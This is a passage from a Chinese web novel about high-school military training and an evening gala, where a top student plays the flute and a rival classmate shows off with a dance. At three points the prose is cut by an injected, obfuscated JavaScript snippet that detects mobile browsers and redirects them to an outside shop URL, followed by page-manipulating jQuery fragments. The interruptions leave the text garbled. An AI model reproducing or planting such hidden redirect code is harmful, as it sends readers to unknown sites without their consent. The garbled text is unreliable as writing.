“对对对!呸呸呸,那就希望她多吃饭,多运动,这样以后就不会犯病了。” 众人互相欢呼的时候,唐越和盛泽不知道什么混入了怀瑾班的队伍末尾。 唐越用胳膊拐了一下晏阳,“诶,到底怎么回事啊,当时我们看你长臂一伸就把人揽进怀里了。” 说着他还把手往前一伸做了个类似于收网的动作。 晏阳啧了一声,眼神飘忽,“别乱说,我是乐于助人,看她的状态不对,怕她跟多米诺骨牌一样把前面的一排人撞倒,全体跟着加训。” 唐越狐疑地看了一眼晏阳,又茫然地看了眼盛泽,“是这样吗?” 盛泽给了一个你觉得呢的眼神。 晏阳嘴硬:“爱信不信。” 14. 打人的状元 接下来的四天军训,教官强制要求林泠在树荫底下休息,林泠解释自己已经没有问题了,可以和同学们一起训练。 阿金见他们争执不下,飞快地从远处跑过来,语重心长地解释:“林泠同学啊,军训呢不是一定要参加的,是根据个人的身体状况,有的人啊,他天生就不适合这种比较累的活动,这也不是搞特殊化。” 林泠有些犹豫,阿金接着说:“那这样,你就去那儿,”他指着不远处的树下,那里有一排人坐着,一块树荫被分成了几小片,每一片都坐着一团人,只有个短头发的女生自己一个人,几个男生正在低头不知道说些什么,让旁边的人想笑又不敢笑,只能用力拍了好几下大腿止笑,“那边都是伤病连的,你就跟着他们一起坐着写军训心得吧,字数不限。” 阿金把林泠带过去,几个男生说得太过投入,完全没发现阿金已经来了,“诶诶诶!你们三个男生在嘀嘀咕咕地说些什么,休息好了就赶紧去回队里训练,一个小小的甲沟炎也请上假了。” “老师,不是您说不舒服就可以请假的吗。” “我是说不舒服可以请假,但你们找的什么请假理由?” 几个男生讪讪笑了下不敢再说。 阿金看了一圈,每个地方都挤满了人,只有微微晒得到太阳的地方只有一个女生。 “老师,我到那里就行。”林泠指着那个落单女生的旁边。 “哦行!” 见终于有人来了,女生很友好地给林泠让了个位置,从包里拿了本新本子又拿了支笔递给她,林泠浅笑道了声谢。 安排好林泠,阿金接着去军训队伍里巡视。 林泠虽然没写过军训心得,但初中时的文章也没少写,在脑海中构思了一下,很快就开始动笔。 这种姿势确实不太好写字,还好她已经习惯了不管在什么场合都能转化成相应的写字状态,很快,一篇军训心得就洋洋洒洒地铺满了整页纸,字迹有些飘逸但带着自己的风格。 “哇,你怎么写得这么快,我才刚写了个开头,你就写完了?” 给她纸笔的女生被林泠的速度震惊到了,“你是经常写吗?还是之前写过?” “之前没有写过。”林泠说:“只是把看到的写了出来。” 女生还是感叹:“可以教教我怎么写的吗?” 林泠想着反正也没事了,闲着也是闲着,拿过女生写的稿子看,对着有问题的地方指点圈画,“写军训心得就和写普通的记叙文差不多,你先交代时间地点和事件,然后指出感受,接着……” 林泠对着自己的文章把框架拆解了一下,一个段落一个段落地对着女生耐心解释。 “哦~“女生恍然大悟:“原来是这样,怪不得我一直写不出来,实不相瞒我语文常常不及格,就是因为作文写不出,我也不知道为什么别人能写那么多的字,而且还能不重复,我头发都挠掉了也写不出来。” 女生一提到写作文就很痛苦,双手托着下巴看着阿金挺着大肚子在队伍里走来走去的样子,突然噗嗤一笑:“同学,你看阿金拖着肚子的样子像不像怀孕了。” 林泠顺着她的视线看过去,阿金是有些大腹便便,身高也不高,还是个地中海,但她不得不承认他是个很负责任的老师,听舒音说昨天上午自己晕倒后,下午阿金就开了一次关于自己的检讨会,当着众人的大大方方坦坦荡荡地道歉,现在能这么做的老师也是很少见了。 有了刚刚林泠的指导,女生也很快地写完了,放下纸笔看了下手腕上的手表,还有很久才下训,拉着林泠开始聊天,“我叫肖箫,实验一班的,同学你是哪个班的,叫什么名字啊?” “怀瑾班,林泠。” 肖箫听到这个名字被震惊到了,眼睛睁得大大的,眉毛都快要撑到头顶了,声音也不自觉地拔高,“林泠?!不就是中考状元!!!” 大多数人只知道中考状元来了一中,但怀瑾班和其他班是分开的,加上林泠又很少出现在众人面前,所以他们也只是从公布栏上的喜报上见到过林泠。 伤病连的人数不算多,只有20几个,肖箫的大嗓门把其他人聊天的思路都打断了,个个都把头扭过来奇怪地看着他们两个。 肖箫回头,局促地对着他们笑了两下:“哈哈,不好意思不好意思,刚刚出了点事。” 肖箫现在整个人都是属于极度亢奋的状态,但一想到自己刚刚做的蠢事就忍不住想扇自己两巴掌,“我竟然让状元教我写军训心得这种小儿科的东西,真是大材小用了!” 林泠哭笑不得,怎么她遇到的人都是个舒音差不多的性子,“没事,写作这种事就是要慢慢来的。” 肖箫右手搂着林泠的胳膊,把头靠在她肩膀上,崇拜地看着她:“嘤……” 状元人好好,以后一定要和她处好关系。 “嗤!” 和谐的画面被一声嗤笑打断。 肖箫皱着眉扭头看过去,是和她同班两个女生,江依斐和林思莞,她最烦的就是她们两个。 这两人为了不去军训故意伪造了脚扭伤的证明,在外面装的一瘸一拐的可怜样,忽悠别人帮她们做这做那的,她一开始也是好心帮她们,直到看到她们一进宿舍楼就完全变了样。 那走路的状态,怕是去跑八百米都不带喘气的。 “啧,你们笑什么。” 肖箫早就看两人不爽了,在她眼里这两人就是占用公共资源,学校对伤病连的人数有规定,就是因为这两个人,导致她朋友不舒服也只能坚持,好在好得差不多了。 “笑的就是你,男人婆!” 林泠皱眉,林思莞说出的话完全对不上她的外貌,长得不算差,名字也明显是家长对她的疼爱,怎么说出的话这么刻薄,也不知道她的父母对她是采用的什么教育方式。 “你再说一句!” 肖箫和林思莞初中是同班的,早就看不对眼了,听到她说这话愤怒的伸出左手,结果刚好扯到了扭伤的地方,疼的她龇牙咧嘴。 “说你怎么了?再说一百句你也是男人婆,作为女生,剪个和男生一样的头发,还整天和男生混在一起,连他们打篮球你也要跟着凑上去,我看啊,八成是个汉子茶!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481585|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林思莞说完还翻了个白眼,对着旁边的女生笑,离她们比较近的几个女生听到林思莞说的话,小声和朋友说了几句快速挪开了,想来是觉得林思莞的战斗力太强了,不想被误伤到。 “你!”肖箫不擅长吵架,面对林思莞的这一长串输出只能干着急。 林泠看着林思莞扬起下巴嘚瑟的脸,冷冷道:“哦?这么说,在你眼里女孩子就必须留长发,那你是对那些留短发的女国家领导人有意见,还是对那些生了病,不得已剪短发甚至没头发的女性有意见?” “你!” “你什么你?再者说,女生打篮球很奇怪吗,还是说篮球规定了只有男生可以玩?女生不能玩?如果女生不能打篮球,那国家为什么要大力鼓励女篮?莫非你是对国家的政策有意见?”林泠眼神微眯,射出最后一道利剑,“又或者我换个问法,你就是不希望我们国家的女篮发展起来,你是间谍?” “你!你才是间谍!你敢这么污蔑我!你知道我是谁吗?你又知道我爸爸是谁吗?” 形势立马扭转,这下被怼得慌不择言的是林思莞,只能搬出自己的靠山。 听到林思莞说她爸爸,肖箫脸色一变,悄悄地扯了扯林泠的袖子,冲着她摇摇头,“算了……” 见她们不说话了,林思莞的气焰又嚣张了起来,冷哼一声:“哼!我爸爸,可是一中的股东,你敢这么说话,是不想在一中读了吗?” 最后几个字,她特意压低了声线说。 林泠冷笑一声,目光和她对视,“哦?我倒是想看看你怎么不让我在一中读下去。” 当时一中被派到六中去找她的人里面,好像确实有个姓林的老师,倒不是那个老师的长得有多帅,能让她和对徐若薇一样过目不忘,而是那一双打量她的眼睛和林老爷子简直一模一样,再加上手上那块故意仿旧的金表,很难不让人注意到。 只不过他到底是读过书的人,就是比比林老爷子会伪装,像一只笑面虎,但眼里的阴险、算计林泠从小见到大,即使他隐藏得再好,她也能一眼认出来。 要不是校长再三请求加上条件确实很有利于她,她是说什么都会来一中的,有这种老师在,林泠终于知道为什么近年来一中的评比屡次落在二中后面。 原来是一栋别墅里进了只寄生虫,而这只寄生虫不仅偷拿主人家的东西,还准备把手伸向支撑别墅的顶梁柱,企图把它蚕食掉,建立一个属于自己的地下王国。 好算计。 林思莞见她如此有底气,一时被噎到了,只能狠戾地盯着她,一直坐在她身边,全程低着头作为局外人的女生也终于露出了面目。 女生放下手里的本子,皮笑肉不笑地看着林泠,眼神里满是恶毒。 林泠蹲坐在阳光照射的地方,太阳刺眼得不得不让她半眯眼睛。 江依斐。 她倒是比她那个废物哥哥江涛厉害,竟然能考上一中。 江依斐歪嘴笑了一下,看起来有些天真无邪,不点而红的嘴唇轻启,说出的话冷漠又尖锐: “把人打进医院的状元,也能上一中?” 15. 军训收官 “唉!明天终于要收官了!” “我痛苦的军训生活终于要结束了!” “但还是有些怀念呢!” 舒音在床上一连滚了好几圈,鞋子勾在脚上要掉不掉的,捧着手机给朋友发消息。 “痛苦你还怀念?” 林泠看着那只鞋子强迫症犯了,上去帮把她把鞋子拿下来。 没有了鞋子的束缚,舒音改为盘腿坐在床上。 “对了,明天你打算表演什么节目?” “什么表演节目?” “啊?你们连没说?” 舒音划拉半天调出一张聊天记录,是陈清和教官的。 【陈老师,请通知班上学生,明天晚上就是军训晚会,每个班最多可以出3个节目,请同学们做好准备。】 林泠:…… 她回想了一下,当时教官来说事情的时候她和肖箫刚好去上厕所了,回来的时候就听见他们叽叽喳喳地说个不停,但一见到她们两个就立马停了下来。 林泠:“……不是说限报3个吗,应该轮不到我。” 毕竟有人既然存心不让她知道这件事,就是明显不想让她出这个风头。 无所谓,反正她也对这种活动不感兴趣。 舒音啊了一声,“说是最多只能报三个啦,但后面还有时间的话可以让学生随便发挥。” “你怎么知道?” 舒音理所当然,“我问了往年的学长啊!他跟我说的。” 林泠眼睫轻敛,从她话里听出玄机,“什么学长?你又从那里遇到的学长?不会又早恋了吧?” 舒音被她看得发毛,心虚的大声道:“什么叫又早恋啊!我当时去买汽水,开的时候没注意一下子就全喷到了他衣服上,我说要赔他钱,人家也没跟我计较,我就说那加个好友,改天请他吃饭就当做赔罪了。” 见林泠还是不信,舒音立即把聊天记录给她看,“看吧!我们不是你想象的那样,我们之间就是纯洁的同学关系,我说要请他吃饭,他都还没同意。” 林泠大致扫了两眼聊天记录,确定没什么太大的问题才放过她。 “别跟我扯其他的,你初中的那件事我一直记得。” 听到初中那件事,舒音立马炸毛了,“啊啊啊啊啊啊啊——别再提我的黑历史了,谁年轻时没爱过几个渣男啊!” 林泠:“嗯,爱过几个渣男,我可没见过想你这么傻的,被人骗财骗色,最后被人卖了还替人数钱。” :“什么骗财骗色啊!不就被骗了五百多吗。”舒音把手机放下,随手把桌上的书翻开几页。“谁知道他跟我说是没钱吃饭,实则全把我给的钱充游戏里了,还有!我要纠正一点,我没有被骗色,我连手都没给他牵过,初吻还在的!” 林泠:“嗯,五百多块而已,确实不多,也就啃了一个星期的干馒头,跟着我去蹭免费汤喝,在食堂碰见他时还被他的狐朋狗友嘲讽像个乞丐。” 林泠的补刀技术日益见长,每一句话都直戳舒音的痛点,那段时间的舒音确实很颓废,爱情和金钱同时丢失,整个人也没心情打扮,所以看起来有些邋遢。 林泠这一说让舒音好不容易忘记的黑历史又全都冒了出来,血色从脖子往脸上爬,最后干脆自暴自弃,“啊啊啊啊啊啊——求求你了,不要再说了,不然我脆弱的小心灵就要受不住了,我要去跳楼,我要去跳河,我要让你再也见不到这么可爱又迷人的舒音。” 林泠没理她的干嚎,转身进了卫生间。 舒音嚎完之后才发现自己又被林泠转移话题了,刚刚不是在说军训晚会的吗? — “我说,你们两个是不是把我的寝室当成你们的会议室了。” 晏阳拿着魔方百无聊赖地玩着,最后一个字落下刚好把最后一面拼好。 唐越翘着二郎腿翻看晏阳带过来的书。 “哇塞,一片空白,晞姐这书买的可真是值,你卖出去还能卖个九九新吧。” 晏阳把书抽回放好,差点让他看到最后几页昨天刚划过重点的痕迹了。 “不管多新的书,二手的就不值钱了,知道吗?” 盛泽点头:“确实,我去废品收购站卖书的时候,见到过有人拿全新的书去卖,5斤只卖了4块钱。” 唐越思考了一下,缓缓问:“……5斤,是多少?” 盛泽:“……” 晏阳:“……” 唐越:“好了好了!不要再讨论这个话题了,可以吗!我今天来是有重要的事情商议的!” 晏阳:“有事情你不去自己寝室,来我寝室干什么。” 唐越翻了个白眼:“还不是因为你懒得要死,多动一步都怕要你的命似的。” 晏阳没有否认,这确实是个事实。 晏阳:“那在微信上说不也一样的。” “我们倒是想在微信上说啊,可是您老人家理我们两个吗?你看群消息,几乎全是我们在聊。” 盛泽打断他:“等会,纠正一下,是你一直在聊,不是我。” 唐越尖叫:“盛泽!” 晏阳头都大了,“再吵都给我出去,有事就说事。” 被打断的唐越很不爽,坐着椅子上板着个脸,没有一点要说话的意思,盛泽只好接过话茬替他说:“他说,想问你明天的军训晚会准备表演个什么节目。” “军训晚会?”晏阳琢磨了一下,“有什么好准备的,我晏大少什么节目不能表演出来,还要做准备工作。” “呦~”唐越嘲讽:“好厉害的晏大少,那请问什么节目都能表演出来的晏大少可以报一个绘画吗,也不用太难,就随机选一个人画一幅素描,我可以勉为其难做你的模特,如果绘画太简单的话,也可以报一个现场解奥数题,为了防止同学们说你作弊,题目的选取就有我现场抽取,怎么啊晏大少,这两个节目你觉得哪个好呢?” 晏阳:“……” 没一个擅长的,还哪个好。 “怎么不说话啦?”唐越欠欠儿的,“晏大少不是说什么节目都能表演且不用准备的吗?” 晏阳:“……” 盛泽见气氛不对赶紧出来打圆场,“你够了啊。” “够什么呀,不够!” 晏阳木然:“如果非要从这两个里面选一个的话,我选择表演自由落体。” “哈哈哈哈哈哈哈!”晏阳突如其来的冷笑话让唐越气消了不少,“行了行了,开个玩笑的。” “话说,你真不表演节目?我看挺多人期待的。” “谁?” 唐越一本正经:“我和盛泽。” 晏阳:“……逗我好玩吗?” 唐越捧腹大笑:“好玩啊!可太好玩啦!好久没这么玩过了,我记得初中的时候你还挺开朗的,怎么临近中考那会儿又消沉了?” 唐越开玩笑地说:“莫非是学习压力太大,你不会是背着我们偷偷学习吧?” ……猜对了一点,还有黑历史能不能别再提了。 晏阳答非所问:“唱歌,跳舞,随便选一个吧,也不是很想去。” “但你是方队领队,你们班的标杆诶,真的不去?” 晏阳轻描淡写,“无所谓,一切随缘。” “行咯,反正就是个晚会而已。” — 军训结束的那天是个难得阴天,还起了一阵小风,让这群躁动的学生都冷静了不少。 升旗台上已经被庄重地布置过了,主持人一一介绍校领导,接着又是致辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们班那个领队的啊。”肖箫摸着下巴仔细分析:“脸就占了很大优势,再加上你们班正步也踢得不错,一等奖不是十拿九稳?” 林泠想了下,同意她的后半句,“嗯,我们班确实走得不错。” 就连舒音这种肢体不协调的都没左摇右晃,已经算是在给班级助力了。 远处的舒音打了个喷嚏,“哈秋!” 言铄扭过头去,“怎么啦?你热感冒?” 舒音摇摇头,“不知道啊,是不是那天打游戏那两个龟孙在背后骂我。” “骂你就等于骂我,”李厅南不知道从哪里冒出来的,“等会结束后我们去加他好友骂死他!” 言铄也正有此意,“行!” 颁奖结果出来了,正如肖箫预料的,怀瑾班真是一等奖,不仅有奖状还有1000元的奖金。 当即有同学起哄着要让陈清请客。 “陈老师!请客!” “请客!请客!请客!” 陈清拗不过他们,大手一挥又添了点。 “吃夜宵这点钱哪够啊,老师再给你们添点!晚会结束就去吃。” 此话一出又是一阵欢呼。 “好耶!” “陈老师万岁!” 体育班就在旁边,他们班没拿奖只能羡慕地听着隔壁班的欢呼声。 唐越凑过来:“唉,真羡慕啊!你们班可以出去吃好吃的了。” “呵!”晏阳嗤笑一声,懒懒地说:“你缺这一顿夜宵?” “什么叫缺?”唐越反驳,义正言辞地纠正他,“这可是共享集体荣誉感的果实啊!” “哦~”晏阳挑眉,佯装警惕地离他远些,“那你可别窃取我们班的劳动果实啊。” 16. 晚会算计 上午结束了闭幕式,下午是让学生休息,晚会在晚上五点半开始。 “终于结束了!”舒音一开寝室门就迫不及待地脱掉迷彩外套瘫坐在椅子上,精疲力尽地张着嘴巴,四肢无力的样子像张开的八爪鱼。 可怜的外套就这么被丢在了地上,林泠替她捡起拍了两下放到椅背上。 “不先去洗澡?”林泠问。 舒音气若游丝道:“等会儿吧,太累了!我真的不想再军训了,还好最后一天老天长眼,没有继续出太阳,不然我会直接倒在操场上。” 林泠轻笑一声,走上去替她按摩。 舒音调整了一下姿势,舒服得闭上眼享受,“哎呀,林泠你这按摩技术真是越来越好了,要是开个按摩店肯定会爆满的。” 林泠轻笑:“好,那就借你吉言了。” 林泠没有系统性地学过按摩,在家的时候楚招澜一个人要照顾一大家子人,常常累得只能躲在厨房里自己捶背,可她手太短,酸痛的地方又在后面,怎么也够不到,后来林泠就自学了按摩,在每天所有人都休息的时候悄悄给黄翠英按摩,久而久之技术也就练出来了。 舒音休息了一会儿精神好多了,“对了!我刚刚看到了一份名单,是今天晚会的节目,但新生的节目只有几个,不知道是不是准备临时上。” “什么节目?”林泠问:“看你的样子,很期待?” “没有啦!”舒音羞涩一笑,“就是和我联系的那个学长也在上面。” “哦?”林泠来了兴趣,“怎么说?为你来的?” 舒音急忙否认,“不是不是!他只是替社团招新的,他是舞蹈社的。” “那也跟你没关系啊,你这么兴奋?”又补了一刀,“你肢体不协调,忘记了吗?” “谁肢体不协调啊!我只是有些……有些……”舒音半天说不出来一句,不想承认这个既定的事实,最后只能用力哼一声背对着林泠不说话,表达她的反抗。 “好啦好啦。”林泠笑够了,去扯她的脸,“别生气啦?” 舒音一秒破功,“你别……别扯我的脸了,我已经不是小孩子了。”接着又问:“诶,你们连的节目我没看到啊?” “不知道。” 林泠确实不知道,毕竟她都不知道有要表演节目这个事,因为那件事江依斐一直记恨着她,看来今天晚会上应该有个大的阴谋在等着她。 林泠从抽屉里拿了个被布紧紧抱住的东西。 为了以防万一,还是要把那件东西带上。 — 晏阳洗完澡一打开微信,那两个群聊果然又是99+。 “有这么多话说吗?” 晏阳嘀咕一句先打开那个名为“帅哥美女一家亲”的群,这是班群但是里面没有老师,消息疯狂刷新,讨论的话题全是一样的。 今天夜宵去哪里吃。 【我觉得啊,就去吃火锅!】 【对啊对啊,火锅走起!】 【吃什么火锅啊,啤酒烧烤才是庆功宴的标配好吗!】 【支持烧烤!!】 【火锅!!】 晏阳看了一圈,“就为了火锅和烧烤吵半天啊。”表情慵懒地打了几个字。 【不就是顿烧烤和火锅吗,又不是不能一起吃(抠鼻)】 群里沉默了两秒。 【对啊!又不是不能一起吃。】 【……话是这么说,可地在哪呢晏哥?】 晏阳云淡风轻: 【离学校不远的地方,不就有个吗?叫“云客来”的,环境还好,食材也新鲜。】 …… 又是沉默,又是莫杰首先打破。 【呃……晏哥,我刚刚看了你所说的地,环境嘛,是不错,评价也挺好的,就是……上面好像写着人均400吧……】 晏阳:? 【很多吗?】 这回没有沉默了,只有清一色的哈哈。 做完好事晏阳心满意足地退出“帅哥美女一家亲”的群,打开另一个“一中三帅哥”。 【唐越:要不等会晚会直接把晏阳推上去,或者直接起哄让晏阳去表演节目。】 【盛泽:……你不怕被打就自己去。】 晏阳:“……” 他看了一下群聊人数,上面确实写的3个人,自己也还在群里。 【一中校霸:唐越,你当我不存在?】 唐越被抓包也担心,反而嘲讽道。 【唐越:哎呦喂,这不是晏大少吗,您老人家怎么有空下凡来看我们这个孤寡老人群啊?】 晏阳:…… 【一中校霸:嗯,群里三个人,我和盛泽是人,你是孤寡老。】 唐越被惹急了,手机哒哒哒的打字声回响在宿舍,边打字边说。 【唐越:晏阳,你是不是要单挑?!】 【唐越:炸弹×99】 可惜晏阳并不能听到他的说话声,倦怠地打了个哈欠,坏坏地笑着点击键盘。 【一中校霸:得了吧,你小时候就打不过我,现在更打不过我了。】 晏阳轻飘飘的语气让唐越更是火冒三丈,后者顿时蹭的一下站起来,“我要去找晏阳单挑!气死我了!敢挑衅我!” 盛泽把他按回去:“省省吧,他的嘴你又不是不知道。” 唐越还是气不过,眼睛一转换了副表情,假装大度地说:“行,这次我不跟他计较。” 等着吧,晚会看我不整你。 — 晚会没有在体育馆,而且选在操场上,夜晚的温度比白天的低一点,风吹得人忍不住舒服地闭上眼。 “林泠快来。” 舒音激动地招手,拍着旁边草坪空出来的一个位置,言铄和李厅南坐在她前面,也在对着她挥手。 林泠把书包抱在怀里刚要坐下,晏阳迎面走来,两人短暂对视了一会。 晏阳换下了军训服,穿着自己的常服,一件潮牌白色短袖上衣配着一条直筒的蓝色九分牛仔裤,将他完美的头身比展现出来,冷白禁欲的脖子上戴了一条十字架的项链。 喉结不经意涌动,戴着黑色骷髅头手链的手漫不经心地插在兜里,金色的头发遮住了又圆又大的狗狗眼,舌头顶着右唇,表情慵懒,时不时搭两句旁边人说的话,整个人看起来放荡不羁又随性松弛。 今天穿得倒是人模人样的。 晏阳坐到队伍的最末端,和唐越盛泽挤在一起。 五点半一到,晚会准时开始,因着今天是周六,除了高三以外的年级都放假了,一中放假不会强制学生离校,所以有不少学生也跟着来凑热闹。 晚会办的比较随意,没有领导的官方讲话,先是舞蹈社来了一段激情的舞蹈热场,接着又是新声代音乐社团唱的当下最火的dj歌曲,场子瞬间热起来,大家压抑已久的性格彻底打开,操场上的欢呼声快要溢出来。 “接下来的表演,是由实验一班的江依斐同学带来的芭蕾舞——《花之圆舞曲》!大家掌声欢迎!” 江依斐款款上台,对着众人含笑鞠躬,她身材匀称,足下轻点,手臂随着音乐慢慢张开,接着缓缓舒展身姿,即使穿着普通的衣服却依然能体现出她高贵优雅的气质,宛如一只美丽又骄矜的白天鹅,浑身上下散发出的疏离气息,让人只可远观而不可亵玩焉。 一舞毕,江依斐浅笑,语调温柔道:“献丑了。” 林泠不得不承认,江依斐确实很有毅力,为了跳舞可以不吃饭就为了让自己瘦下来,这一点让她很佩服,要是她的这点毅力用在正道上,她会更敬佩。 众人愣了一下,接着响起热烈的掌声。 “呜——” “优雅,太优雅了!” 实验一班在怀瑾班后面,江依斐下台的时候正好要路过,在经过林泠的时候江依斐故意把钥匙丢在她脚边。 “不好意思同学,”江依斐眼神无辜,故作为难道:“可以帮我捡一下吗?” 林泠看了她一眼,没从她身上找到破绽,弯腰帮她捡起,江依斐勾唇接过,“谢谢你同学。” 江依斐笑意不达眼底,眼神里有一股林泠看不透的情绪。 她似乎很期待? 主持人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481587|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着报幕:“下一个节目!怀瑾班林泠!” 名字一出,林泠觉得全校的目光都看了过来,舒音奇怪地看着她,胳膊拐了一下她,“泠泠,你报节目了?怎么不跟我说?” 林泠冷笑一声,原来是在这等着她呢,早知道她不老实,还好早有准备。 林泠拿出包里的笛子,淡定走上台去。 江依斐回到自己的座位上,林思莞看着林泠的背影诡笑,“我倒是想看看,这回她能搞出什么花招。” “看着吧,这个丑她出定了!” 晏阳也抬头朝前面看去,皱眉:她报节目了?又想抢我的风头?! 晏阳用力肘了一下正在打游戏的唐越:“你去,等会帮我报个节目!就报……”他思忖了一下,“就报个舞蹈的!” “靠!都怪你我输了!我的晋级赛!”唐越被晏阳动了一下,手指按到了闪现,直接送了一个人头,游戏也被对面拿下。 晏阳:“一局游戏而已,等会帮你赢回来不就行了。” 现在最关键的是他的风头不能被抢。 “不行,除非……”唐越得寸进尺,“你等会带我们一起去吃夜宵?” 晏阳白了一眼,“你们自费。” “好嘞!”唐越用手撑了一下草坪,坐了太久脚有些麻了,一起身还有些不适应,跌跌撞撞地躬着身子就去找主持人。 林泠站到台上,舒音在台下举着手机,给她比了一个ok的手势。 林泠淡笑拿起笛子放到嘴边,其实她已经很久没有吹了,但谱子都记在心里,想来不会有什么差错。 她的笛子是一把很普通的苦竹笛,初中时的一位实习老师见她有天赋送给她的,林泠自己对着谱子加上老师的指点,慢慢地能完整地吹出一首优美的曲子,后来心情不好的时候就一个人去田间吹,把满腔无处发泄愁绪说给群山听。 林泠回想了一下曲谱,深呼吸闭着眼开始演奏,笛音一出,操场上哄闹的声音慢慢停了下来,每个人都注视着林泠。 晚风静静地吹着,林泠任由它拂过自己的发梢,刘海带到眉间的那颗小红痣上,眉头平展,气息平稳,如绿竹般细长的手指随着音乐有规律地在笛子上跳动,凌厉的五官也变得柔和起来,笛声时而悲凉凄清时而气势如虹,使听者的情绪大开大合,起起落落。 结束后,众人还沉浸在里面,久久不能回过神来。 晏阳眼神意味深长,他妈妈是音乐世家传人,即使他不爱古典音乐也多少耳濡目染过。 这首曲子说的是古代的一个忠臣被坏人陷害却无法辩解,行刑前请求皇上可以再听一次他吹的笛子,皇帝从他的笛音里听懂了他的冤屈,最后查明真相将坏人绳之以法,最后忠臣根据这件事作成了一首曲子,前半段悲切凄凉,后半段高亢嘹亮。 晏阳笑了一下:有意思,真有意思,所以她吹这首曲子的意思是,自己是被强推上去的吗? “靠!我没点到录像!” 沉默许久,一声骂声才把众人飘选的思绪扯了回来。 “哈哈哈哈哈。” 笑声和掌声同时响起,林泠在阵阵尖叫中走下台,视线瞟过江依斐,她的脸色果然很难看。 林泠没说话,对着她挑眉嗤笑一声。 江依斐其实看着她拿着笛子上台那一刻就有些慌了。 该死,本来是想让她出丑,没想到反而让她装到了。 江依斐环视四周,每个人都在讨论林泠,自己表演俨然成了陪衬,真是赔了夫人又折兵。 她手指藏在衣袖里,用力握成拳状,面上不显,心里却暗自诅咒: 林泠,你给我等着吧,我哥那件事,我是不会轻易放过你的。 “刚才的节目精不精彩呀!”主持人眉飞色舞,十分会煽动情绪,“那么接下来还有更精彩的,有请同样是怀瑾班的晏阳同学,为我们带来舞蹈!” 晏阳嘴角轻挑,站起来活动了一下脚腕,大步流星地往前走,路过林泠时恰好带起一阵风,风里有一句话,倨傲又欠揍: “晏大少来了,让你们知道谁才是一中的老大!” 17. 聚餐选举 晏阳站在台上,用力甩了一下头发,露出精致立体带着点混血感的五官,扬起一个大大的笑容,热情的和台下的人打招呼。 “大家好啊!都认识我是谁吗?” “认识!” 莫杰尤其捧场,喊出来的声音都破音了。 “那我的名字是——” “晏——阳——” 因着前面都莫杰打头阵,接下来的这个问题,很快就有人接上,并且声音比刚才还大。 晏阳把手掌贴在耳朵上,侧着身体去听他们的尖叫声,听到满意的回答后才放下。 林泠目不转睛地看着他,他的笑容自信又张扬,好像天生就是为舞台而生的。 “靠!这个装货!”唐越大骂一声,后知后觉,“我靠!他昨天是不是故意的?其实他很想上去吧!激将法!这绝对是激将法!我就知道!这个心机绿茶腹黑男!” “那么接下来……”晏阳调整了一下麦克风,活动了一下手脚,这是他准备放大招的前兆,“一首舞蹈串烧送给大家!” 晏阳对着下面尖叫的人右眼单眨了一下,笑着露出八颗整齐又洁白的牙齿,引得下面又是一阵尖叫。 “啊啊啊啊啊啊——” “晏!阳!” “好帅啊!!!!!” 时间快接近晚上7点,天已经黑得差不多了,操场周围一排的路灯都亮了起来,为了方便学生表演,校长特意打开了舞台上的彩灯,五颜六色的照在晏阳身上,更显得他俊美异常。 音乐响起,晏阳数着节拍,身体随之灵活的扭动,因为是串烧,舞步也随着音乐的变换而改变,时而缓慢时而急促,眼神更是无时无刻都不在和观众互动,身上散发的让人移不开眼的魅力。 “啊啊啊啊!!!刚刚是机械舞!!!太空步!!” “现在是鬼步舞!!!鬼步舞啊!!” “变了变了!!现在变成霹雳舞!!!!” 晏阳突然一蹲下,手撑着地,一个帅气的地板动作又引得一阵尖叫。 “地板动作!!!!啊啊啊啊啊啊!!!!” “晏阳!!!” 如果晏阳一开始只是想压林泠一头,那么现在他则是在完全享受舞台。 林泠看着台上舞姿不断变换的人,眼神颤了一下。 似乎 还不错? 随着音乐戛然而止,最后一个动作也干脆利落的收尾,晏阳没戴帽子,右手在头上虚挥了一下,接着放在左肩上,身体微微前倾,语气温柔道:“谢谢大家。” “啊啊啊啊啊啊——” “好帅啊——” “再来一次!!!” “晏阳再来一次!!!” 底下欢呼声不断,都在喊着让他再来一次,晏阳双手往下压,嘴角上扬:“同学们,虽然我知道我跳的很好,但是呢,我们总要给别人表现的机会不是?后面还有别的节目呢,大家可以期待下,但是不要拿我和接下来上场的节目做对比哦,因为我深知自己的技术无人能超越,也不想打击别人,同时希望接下来的同学不要有压力,不要太想着超过我,尽力跳自己的就行,再次谢谢大家!” 接下来准备表演舞蹈节目的人:………… “兄弟……咱们的舞还跳吗?” “我觉得舞可以不用跳了,因为我想跳了……” 唐越搂了下不存在的长袖:“我超!!!这个装货!!!我就知道!!我也要去!!!” 盛泽淡淡开口:“嗯,你要想上去给他当背景板,请随意。” 唐越默默坐回去。 林泠:………… 她收回刚才那句觉得他还不错的话。 晏阳的话好像附带沉默效果,每次他一说完底下就会迎来一片寂静,每个人的嘴角都抽搐了一下,欲言又止。 还得是主持人的职业素养来救场,“同学们!刚才晏阳同学的表演精彩吗!” 